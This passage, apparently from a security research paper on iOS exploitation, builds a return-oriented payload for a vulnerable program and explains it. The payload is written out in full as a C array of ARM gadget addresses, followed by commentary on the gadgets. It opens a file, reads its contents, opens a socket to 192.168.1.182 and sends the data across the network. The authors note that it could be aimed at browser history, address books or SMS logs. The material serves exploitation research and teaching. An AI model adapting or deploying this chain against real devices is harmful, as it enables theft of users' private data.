Obviously, the last example was pretty fun, but also very simple.  Can you actually piece 
together a large enough return-to-libc payload to do something useful?  Below is 
shellcode for the same vulnerable program which opens a file (which we have purposely  
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written to) and sends the contents across the network.  In a real exploit, you could open 
useful files such as the browser history, address book, SMS log, etc.  Here, because the 
application is executed in the restrictive sandbox, we are severely limited in what file we 
can open and read.  However, the same code would work for other files if the 
application was not so restricted.

int filename_location = 0x2fffefa8;
int r0_location = 0x2fffeed4;
int r0_location2 = 0x2fffef00;
int struct_addr_location = 0x2fffef90;
  
shellcode[0] =0x11112222; 
shellcode[1] =0x33334444;
shellcode[2] =0x55556666;  // r7
// Load stuff into r0-r3, get lr for free
shellcode[3] =0x314e4bec;  // LR / PC   LDMFD SP!, {r0-r3, pc}
// Affect: r0, r1, r2, r3, lr, pc
shellcode[4] = filename_location;  // r0   filename
shellcode[5] =0x00000000;  // r1   O_RDONLY
shellcode[6] =0x00000000;  // r2
shellcode[7] =0xddddeeee;  // r3
// Open file
shellcode[8] =0x3141b2b1;  // pc (THUMB MODE)   blx open; pop {r7, pc}
// Affect: r0 (filedes), r7
shellcode[9] =0x33324444;  // r7
// Load something into lr 
shellcode[10] =0x314d83d8;  // PC        ldmia sp!, {r7, lr}; add sp, sp 10; 
bx lr; 
// Affect: r0, r7, sp
shellcode[11] =0xadd41eee;  // 
// Load stuff into r5,r6
shellcode[12] =0x306a4899;  // LR / PC (THUMB MODE)  pop {r4, r5, r6, r7, 
pc}
shellcode[13] =0xcdd43eee; 
shellcode[14] =0xddd44eee; 
shellcode[15] =0xedd45eee; 
shellcode[16] =0xfdd46eee; 
shellcode[17] =0x0dd47eee; // r4
shellcode[18] =0x00000010; // r5 size
shellcode[19] = filename_location; // r6 buf
shellcode[20] =0x3dd4aeee; // r7
// call read
shellcode[21] =0x306a487d; // PC (THUMB MODE) adds r1, r6; adds r2, r5; blx 
read; ... pop {r4-r7, pc}
// Affect filename_location, most registers.
shellcode[22] =0x11112222; 
shellcode[23] =0x33334444;
shellcode[24] =0x55556666;  
shellcode[25] =0x30034004;
shellcode[26] =0x51156116;
// load up r0-r3 for call to socket
shellcode[27] =0x314e4bec; // lr, pc     LDMFD SP!, {r0-r3, pc}
// r0-r3
shellcode[28] =0x00000002; // r0
shellcode[29] =0x00000001; // r1
shellcode[30] =0x00000000; // r2
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shellcode[31] =0x00000000; // r3  could be anything, we set to 0 to make 
saving to r0 easy later
// call socket  (lr is set to after the call to read() still which is prolly 
ok)
shellcode[32] =0x31465c54; // pc   socket(2,1,0) 
// r0 has socket.
shellcode[33] =0x11111111; // r2, r8
shellcode[34] =0x10101010; // r4
shellcode[35] =0x12344321; // r5
shellcode[36] =r0_location; // r6
shellcode[37] =0x53356336; // r7
// I need r1 to point to addr.  I need to save r0 somehow.  got r0 and 
control r2-r7.
// save off r0
shellcode[38] =0x3066dc6b;   //   pc  str r0, [r6, r3], pop {r4-r7,pc}  in  
NSRunLoop_NSRunLoop___init         
// r0 saved to shellcode[49], lr still set in middle of read
shellcode[39] =0xddd44eee; // r4
shellcode[40] =0x23434343; // r5
shellcode[41] =r0_location2; // r6
shellcode[42] =0x14323455; // r7
// Save second copy of r0
shellcode[43] =0x3066dc6b;   //   pc  str r0, [r6, r3], pop {r4-r7,pc}  in  
NSRunLoop_NSRunLoop___init
// r0 now at shellcode[44] for call to connect and shellcode[] for call to 
write.  lr still in middle of read
shellcode[44] =0xddd44eee; // r4
shellcode[45] =0xedd45eee; // r5
shellcode[46] =0xfdd46eee; // r6
shellcode[47] =0x12121212; // r7
// load up r0 (saved), r1, r2 for call to connect
shellcode[48] =0x314e4bec; // pc LDMFD SP!, {r0-r3, pc}
shellcode[49] =0x36634664; // r0 (saved by above)
shellcode[50] =struct_addr_location; // r1 
shellcode[51] =0x00000010; // r2 sizeof(stuct sock_addr_in) 
shellcode[52] =0x33334444; // r3 
// call connect return inside read()
shellcode[53] =0x3141e738; // pc connect() ... bx lr
// connects
shellcode[54] =0x30034004;
shellcode[55] =0x52156116;  
shellcode[56] =0x12112222; 
shellcode[57] =0x32334344;
shellcode[58] =0x52556366;  
// load up r0 (saved), r1, r2 for call to write
shellcode[59] =0x314e4bec; // PC  LDMFD SP!, {r0-r3, pc}
// r0, r1, r2 saved up
shellcode[60] =0x51156316; // second saved r0
shellcode[61] =filename_location; // r1 buffer
shellcode[62] =0x00000010; // r2 length
shellcode[63] =0x32345678; // r3
// call write
shellcode[64] =0x3141c370; // PC  write() .. bx lr
shellcode[65] =0x52345678;
shellcode[66] =0x62345678;
shellcode[67] =0x72345678;
shellcode[68] =0x82345678;
shellcode[69] =0x92345678;
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shellcode[70] =0x31463018; // PC  exit()
shellcode[71] =0xb2345678;
shellcode[72] =0xc2345678;
shellcode[73] =0xd2345678;
shellcode[74] =0xe2345678;

shellcode[96] =0x5c110200; // PORT | AF_INET
shellcode[97] =0xb601a8c0; // 192.168.1.182
shellcode[98] =0x00000000;
shellcode[99] =0x00000000;

We also need to make sure the file exists and put the filename in the shellcode.

NSString *tempPath = NSTemporaryDirectory();
NSString *tempFile = [tempPath stringByAppendingPathComponent:@"temp.pdf"];
const char *t_filename = [tempFile UTF8String];
strcpy(&(shellcode[100]), t_filename);

Weʼre not going to go into too much detail about how this shellcode works but we will 
comment on some of the more important parts.  First, it assumes you know the address 
of SP when execution begins, for example, to find the name of the file.  This could 
probably be avoided, if necessary.  The stack is not randomized, but still could vary on 
different phones.  Next, the biggest difficulty in this code, compared to the vibrating 
shellcode is that return values are important.  We need to keep track of the various 
sockets and file descriptors, for example.  This payload uses a couple of different ways 
to do this. 

First, look at what we do to call open.  We cannot use the code we used in the vibrate 
shellcode case because if we did, after the call to open, it would “return” back to the 
instruction that loads up the registers R0-R3 and PC again.  This was fine before, but in 
this case we would overwrite the return value that was stored in R0.  In this case, we 
look for some code that calls open and then returns shortly thereafter.  Here, weʼll still 
have the file descriptor in R0 and we can set PC to any value we choose.  

0x3141b2b1 <creat+9>: blx 0x3141d544 <open>
0x3141b2b5 <creat+13>: pop {r7, pc}

By the way, after this LR will now point to 0x3141b2b5.  Also, note that we put in an 
address whose low-order bit is 1.  This indicates this is actually thumb code.  At this 
point, we control PC and have the file descriptor in R0.  We use a similar trick to jump 
into code that calls read and returns.  We first re-set the value of LR to something we 
want, then find some code that reads the registers R4-R7 from the stack.  Some of 
these values are placed into R1 and R2 before the call to read.  At this point we have 
successfully opened a file and read some of the contents into a stack buffer.  For those 
following along, the call to the function that reads is at offset 21 into the shellcode with 
PC being read from offset 27 after the return.  

It is instructive to look at the code that calls the read function because for the rest of the 
shellcode, the value of LR will be right after the call to the read instruction.  
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Figure 10: Some code that calls read() and returns.  The call to read sets LR to a nice 
location.

Having LR set to this value is useful because any function that uses LR to return will 
end up here.  If you look at this code, if R0 is greater or equal to 0, it simply pops the 
values R2, R4-R7, and PC off the stack.  It doesnʼt affect the return value of R0, which 
is good, and it jumps to a value from the stack.  

At this point we go back to our old favorite and load our arguments and then call socket.    
All that remains is to call connect and write, but we must keep track of the socket file 
descriptor in R0.  To do this, we use some code to write R0 to the stack where we know 
the call to connect will want it and we save it further down the stack where we know 
write will want it.  We do this with the following instructions from -
[NSRunLoop(NSRunLoop) _init:].

0x3066dc6b: str r0, [r6, r3]
0x3066dc6d: pop {r4, r5, r6, r7, pc}

where we happen to already control r6 and r3.  All that remains is to load values into 
registers and call connect, write, and exit.
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